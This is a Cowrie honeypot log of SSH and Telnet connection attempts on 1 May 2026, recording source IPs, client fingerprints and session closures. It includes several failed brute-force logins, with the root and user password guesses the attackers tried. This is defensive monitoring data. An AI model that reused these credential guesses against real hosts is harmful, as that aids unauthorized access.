{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:00.265108Z","src_ip":"159.203.92.129","session":"8aa8cedf81be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.577022314071655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:06.179199Z","src_ip":"103.49.70.87","session":"a0ab32596d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.564966917037964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:06.710281Z","src_ip":"103.49.70.87","session":"f0f36f375f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.355904817581177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:08.857508Z","src_ip":"103.49.70.87","session":"a2bd83160cdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52166485786438,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:11.469813Z","src_ip":"103.49.70.87","session":"cafc684bd852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11087989807129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:12.218772Z","src_ip":"103.49.70.87","session":"9541dda1b8d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":43240,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5d7f27280f9","protocol":"telnet","message":"New connection: 103.49.70.87:43240 (10.17.0.5:23) [session: c5d7f27280f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:14.159687Z"}
{"eventid":"cowrie.session.closed","duration":31.593912363052368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:15.499368Z","src_ip":"103.49.70.87","session":"735cad7cd734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.330061435699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:16.218609Z","src_ip":"103.49.70.87","session":"071730026965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023600816726685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:16.787741Z","src_ip":"103.49.70.87","session":"0d924e9d6c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71956157684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:18.245926Z","src_ip":"103.49.70.87","session":"0f4d3baae52a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50853133201599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:18.568877Z","src_ip":"103.49.70.87","session":"cb15c056c3db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":46632,"dst_ip":"10.17.0.5","dst_port":23,"session":"056731b20560","protocol":"telnet","message":"New connection: 103.49.70.87:46632 (10.17.0.5:23) [session: 056731b20560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:23.096438Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":28578,"dst_ip":"159.203.135.109","dst_port":22,"session":"558683b66d63","protocol":"ssh","message":"New connection: 118.193.33.81:28578 (159.203.135.109:22) [session: 558683b66d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:25.315805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:25.327941Z","src_ip":"118.193.33.81","session":"558683b66d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:25.546887Z","src_ip":"118.193.33.81","session":"558683b66d63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fz@123456","message":"login attempt [root/Fz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:26.431593Z","src_ip":"118.193.33.81","session":"558683b66d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":46638,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cd711cd70e7","protocol":"telnet","message":"New connection: 103.49.70.87:46638 (10.17.0.5:23) [session: 1cd711cd70e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:27.312656Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:27.663648Z","src_ip":"118.193.33.81","session":"558683b66d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":33134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed850d463c79","protocol":"telnet","message":"New connection: 103.49.70.87:33134 (10.17.0.5:23) [session: ed850d463c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:39.723536Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":33118,"dst_ip":"10.17.0.5","dst_port":23,"session":"34e37e06e40e","protocol":"telnet","message":"New connection: 103.49.70.87:33118 (10.17.0.5:23) [session: 34e37e06e40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:39.728807Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":36702,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b277703c2d","protocol":"ssh","message":"New connection: 157.7.113.83:36702 (159.203.135.109:22) [session: 43b277703c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:43.399664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:43.403975Z","src_ip":"157.7.113.83","session":"43b277703c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:43.562237Z","src_ip":"157.7.113.83","session":"43b277703c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Zk","message":"login attempt [root/123456Zk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:44.212685Z","src_ip":"157.7.113.83","session":"43b277703c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32770,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd6167c28a0","protocol":"ssh","message":"New connection: 159.203.92.129:32770 (159.203.135.109:22) [session: ecd6167c28a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:45.141949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:45.146118Z","src_ip":"159.203.92.129","session":"ecd6167c28a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:45.150249Z","src_ip":"159.203.92.129","session":"ecd6167c28a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonia","password":"123456","message":"login attempt [antonia/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:45.160431Z","src_ip":"159.203.92.129","session":"ecd6167c28a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:45.368201Z","src_ip":"157.7.113.83","session":"43b277703c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.688485383987427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:45.848058Z","src_ip":"103.49.70.87","session":"c5d7f27280f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:46.167055Z","src_ip":"159.203.92.129","session":"ecd6167c28a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":49626,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b43feb7e3b6","protocol":"telnet","message":"New connection: 103.49.70.87:49626 (10.17.0.5:23) [session: 8b43feb7e3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:50.461230Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48554,"dst_ip":"159.203.135.109","dst_port":23,"session":"1af13359a5f9","protocol":"telnet","message":"New connection: 185.26.126.47:48554 (159.203.135.109:23) [session: 1af13359a5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:52.938370Z"}
{"eventid":"cowrie.session.closed","duration":31.783570051193237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:54.879914Z","src_ip":"103.49.70.87","session":"056731b20560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895038843154907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:42:58.207572Z","src_ip":"103.49.70.87","session":"1cd711cd70e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":43514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a77b18dbdd6","protocol":"telnet","message":"New connection: 103.49.70.87:43514 (10.17.0.5:23) [session: 5a77b18dbdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:01.777066Z"}
{"eventid":"cowrie.session.closed","duration":9.500062942504883,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:02.438344Z","src_ip":"185.26.126.47","session":"1af13359a5f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58376,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a83d8232b0","protocol":"telnet","message":"New connection: 103.49.70.87:58376 (10.17.0.5:23) [session: 32a83d8232b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:02.533767Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7045cf1d4524","protocol":"telnet","message":"New connection: 103.49.70.87:58386 (10.17.0.5:23) [session: 7045cf1d4524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:05.084021Z"}
{"eventid":"cowrie.session.closed","duration":30.477157592773438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:10.200553Z","src_ip":"103.49.70.87","session":"ed850d463c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33027195930481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:11.058989Z","src_ip":"103.49.70.87","session":"34e37e06e40e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58392,"dst_ip":"10.17.0.5","dst_port":23,"session":"e785cc4e1fe6","protocol":"telnet","message":"New connection: 103.49.70.87:58392 (10.17.0.5:23) [session: e785cc4e1fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:11.439093Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":43144,"dst_ip":"10.17.0.5","dst_port":23,"session":"391a18d85424","protocol":"telnet","message":"New connection: 103.49.70.87:43144 (10.17.0.5:23) [session: 391a18d85424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:19.482878Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":9590,"dst_ip":"159.203.135.109","dst_port":22,"session":"3782f6f7bae3","protocol":"ssh","message":"New connection: 118.193.33.81:9590 (159.203.135.109:22) [session: 3782f6f7bae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:20.936194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:20.945498Z","src_ip":"118.193.33.81","session":"3782f6f7bae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:21.157699Z","src_ip":"118.193.33.81","session":"3782f6f7bae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753905534744263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:21.214938Z","src_ip":"103.49.70.87","session":"8b43feb7e3b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fn@123456","message":"login attempt [root/fn@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:22.028804Z","src_ip":"118.193.33.81","session":"3782f6f7bae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:23.247053Z","src_ip":"118.193.33.81","session":"3782f6f7bae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51820,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afafac1346f","protocol":"telnet","message":"New connection: 103.49.70.87:51820 (10.17.0.5:23) [session: 3afafac1346f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:25.228654Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51830,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a817e5c77fc","protocol":"telnet","message":"New connection: 103.49.70.87:51830 (10.17.0.5:23) [session: 4a817e5c77fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:25.523097Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54248,"dst_ip":"159.203.135.109","dst_port":22,"session":"159b9f10f2b4","protocol":"ssh","message":"New connection: 159.203.92.129:54248 (159.203.135.109:22) [session: 159b9f10f2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:30.682533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:30.686332Z","src_ip":"159.203.92.129","session":"159b9f10f2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:30.690868Z","src_ip":"159.203.92.129","session":"159b9f10f2b4","protocol":"ssh"}
